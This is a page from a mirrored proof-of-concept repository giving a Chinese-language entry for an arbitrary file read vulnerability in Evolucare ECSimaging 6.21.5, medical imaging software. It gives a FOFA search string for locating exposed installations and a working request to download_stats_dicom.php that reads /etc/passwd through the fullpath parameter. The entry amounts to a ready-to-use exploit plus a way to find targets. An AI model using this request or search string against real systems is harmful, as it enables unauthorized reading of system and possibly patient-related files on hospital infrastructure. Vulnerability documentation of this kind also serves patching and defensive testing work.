admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-06 11:27:43 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/Evolucare Ecsimaging download_stats_dicom.php 任意文件读取漏洞.md
Threekiii cba0c4db58 更新漏洞
2022-12-05 11:09:28 +08:00

506 B
Raw Blame History

Evolucare Ecsimaging download_stats_dicom.php 任意文件读取漏洞

漏洞描述

Evolucare Ecsimaging download_stats_dicom.php 存在文件读取漏洞,攻击者可利用该漏洞获取系统敏感信息等.

漏洞影响

EVOLUCARE Evolucare Ecsimaging 6.21.5

FOFA

body="ECSimaging"

漏洞复现

登录页面

验证POC

/download_stats_dicom.php?fullpath=/etc/passwd&filename=/etc/passwd